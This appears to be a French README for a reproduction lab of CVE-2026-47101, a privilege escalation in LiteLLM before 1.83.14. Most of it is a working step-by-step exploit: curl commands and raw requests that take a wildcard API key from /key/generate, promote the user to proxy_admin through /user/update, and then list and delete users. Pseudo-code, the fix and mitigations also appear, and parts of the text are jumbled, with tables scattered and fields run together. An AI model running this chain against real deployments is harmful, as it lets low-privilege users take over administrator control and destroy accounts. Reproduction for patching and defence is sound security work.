
Le code pour reproduire personnellement la vulnérabilité correspondante
/key/generate + /user/updateLiteLLM v1.82.6 (versions antérieures à 1.83.14) : le point de terminaison
/key/generatepermet à uninternal_userdisposant de faibles privilèges de demander une clé API avec une route générique["/*"], puis d'élever son propre rôle enproxy_adminvia le point de terminaison/user/update, réalisant ainsi une élévation de privilèges non autorisée.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affecté | LiteLLM < 1.83.14 (confirmé sur v1.82.6) |
| Corrigé | v1.83.14+ (nouvelle validation des rôles pour allowed_routes) |
| Publié | 2026-05-21 |
| Découvert par | Fenix Qiao (13ph03nix) — Obsidian Security |
| Liens | NVD |
Le point de terminaison /key/generate de LiteLLM sert à générer des clés API, et /user/update à mettre à jour les attributs utilisateur.
Les contrôles d'autorisation de ces deux points de terminaison présentent trois défauts cohérents qui peuvent être enchaînés par un utilisateur à faibles privilèges :
/key/generate ne valide pas allowed_routes — tout rôle (y compris internal_user) peut demander une route générique ["/*"]allowed_routes — la clé générique générée peut accéder à tous les points de terminaison d'administration/user/update autorise l'auto-modification du champ user_role — en exploitant la clé générique, un utilisateur peut élever son propre rôle en proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ obtient une clé API générique
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ élévation du rôle en proxy_admin
→ GET /user/list (avec la clé générique)
→ vérification de l'accès administrateur
# 1. Démarrer PostgreSQL + LiteLLM vulnérable (v1.82.6, digest épinglé)
docker compose up -d litellm
# Attendre que le service soit prêt (environ 10-30 secondes)
sleep 15
# Examiner les journaux du conteneur
docker logs litellm-privesc 2>&1 | tail -10
La sortie attendue doit contenir des journaux de démarrage réussis tels que Uvicorn running on http://0.0.0.0:4000.
Utiliser la clé master pour créer un compte internal_user à faibles privilèges :
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Sortie attendue :
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Noter les valeurs user_id et key renvoyées ; elles seront nécessaires pour les étapes suivantes.
En tant qu'internal_user, appeler /key/generate en demandant une clé API avec la route générique ["/*"] :
# remplacer sk-internal-user-key par la clé obtenue à l'étape précédente
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Sortie attendue :
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Point vulnérable : l'
internal_usera réussi à générer une clé API avec la route générique["/*"]! Cette clé peut accéder à tous les points de terminaison d'administration, y compris/user/update,/user/list, etc.
Utiliser la clé à route générique pour appeler /user/update et élever le rôle de l'utilisateur en proxy_admin :
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Sortie attendue :
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Point vulnérable :
user_roleest passé deinternal_useràproxy_admin! Le point de terminaison/user/updatepermet à un utilisateur de modifier son propre champuser_role, sans aucune restriction de droits.
Vérifier que l'élévation de rôle a pris effet via le point de terminaison /user/list :
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Sortie attendue :
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Le point de terminaison
/user/listn'autorise que le rôleproxy_admin. L'obtention réussie de la liste des utilisateurs confirme que l'élévation de privilèges a pris effet.
En exploitant les privilèges proxy_admin obtenus, il est possible de supprimer n'importe quel utilisateur via /user/delete :
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Sortie attendue :
1
Les étapes ci-dessus sont regroupées dans demo.sh, exécutable directement :
# Reproduction complète (étapes 1 à 5 incluses)
bash demo.sh
# Test de comparaison avec la version corrigée
bash demo.sh --fixed
Démarrer la version corrigée (v1.83.14-stable) pour vérifier que la vulnérabilité a été corrigée :
# Démarrer la version corrigée
docker compose --profile fixed up -d litellm-fixed
# Attendre que le service soit prêt
sleep 15
Créer un internal_user :
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Tenter de générer une clé avec route générique (blocage attendu) :
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Sortie attendue (la version corrigée bloque la requête non autorisée) :
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Comparaison avec la version vulnérable :
| Scénario de test | Version vulnérable (v1.82.6) | Version corrigée (v1.83.14) |
|---|---|---|
| internal_user demande |
POST /key/generateGénère une nouvelle clé API. Le paramètre allowed_routes sert à limiter la liste des routes auxquelles la clé peut accéder.
| Champ | Type | Requis | Description |
|---|---|---|---|
allowed_routes | array | Non | Liste des routes autorisées, ex. ["/*"] pour toutes les routes |
POST /user/updateMet à jour les attributs utilisateur, y compris le champ user_role.
| Champ | Type | Requis | Description |
|---|---|---|---|
user_id | string | Oui |
En tant qu'internal_user, appeler /key/generate en demandant une clé avec ["/*"] :
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
La réponse contient la nouvelle clé API, qui dispose d'un accès à toutes les routes.
Utiliser la clé générique pour appeler /user/update :
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
La vulnérabilité provient de trois contrôles d'autorisation manquants et indépendants :
/key/generate — Absence de validation du rôle pour allowed_routesLe point de terminaison /key/generate accepte le paramètre allowed_routes et l'associe directement à la clé, sans valider le rôle du demandeur. Même un internal_user peut demander des autorisations de routes de niveau administrateur.
# Pseudo-code vulnérable — rôle non validé
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# Seule la validité de la clé API est vérifiée
# Aucune vérification que user_role autorise la demande d'allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
Lors du contrôle des autorisations de route, si la vérification au niveau du rôle utilisateur échoue, l'intergiciel retombe sur la vérification de la liste allowed_routes de la clé API. Comme ["/*"] correspond à toutes les routes, tous les points de terminaison d'administration sont autorisés.
# Pseudo-code vulnérable — logique de repli du contrôle de route
async def authorize_request(request, api_key):
# Repli sur allowed_routes après échec de la vérification du rôle utilisateur
if not user_role_authorized(request, api_key.user):
# Vérification de allowed_routes — ["/*"] correspond à tout
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — Auto-modification autorisée de user_roleLors de la mise à jour des attributs utilisateur, le point de terminaison /user/update permet à l'utilisateur de modifier son propre champ user_role, sans restriction. Seul le rôle proxy_admin devrait avoir le droit de modifier le rôle d'un utilisateur.
# Pseudo-code vulnérable — modification de user_role non restreinte
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # Aucune vérification de droits !
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
La version corrigée ajoute des contrôles d'autorisation dans les trois domaines suivants :
/key/generate — Ajout de la validation du paramètre allowed_routes : les utilisateurs ordinaires ne peuvent pas demander des autorisations de routes de niveau administrateurallowed_routes/user/update — Restriction de la modification du champ user_role : seul proxy_admin peut modifier le rôle d'un utilisateurCVE-2026-47101/
├── README.md # Ce fichier
├── CVE-2026-47101_漏洞复现报告.docx # Rapport de reproduction (chinois)
├── docker-compose.yml # PostgreSQL + LiteLLM vulnérable/corrigé
├── config.yaml # Configuration LiteLLM avec connexion à la base de données
├── requirements.txt # Dépendances Python
├── demo.sh # Script de reproduction en une commande
├── exploit/
│ ├── exploit.py # Script d'exploitation Python
│ └── payload.py # Générateurs de charges utiles
├── docs/
└── screenshots/
allowed_routes/user/update avec des modifications de user_role pour détecter toute activité anormaleAvertissement : Ce contenu est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés.
["/*"]| ✅ Génération réussie de la clé générique |
| ❌ Bloqué (HTTP 403) |
| La clé générique modifie user_role | ✅ Élévation réussie en proxy_admin | ❌ Bloqué |
| La clé générique accède à /user/list | ✅ Obtention réussie de la liste des utilisateurs | ❌ Bloqué |
| ID de l'utilisateur à mettre à jour |
user_role | string | Oui | Nouveau rôle (ex. proxy_admin) |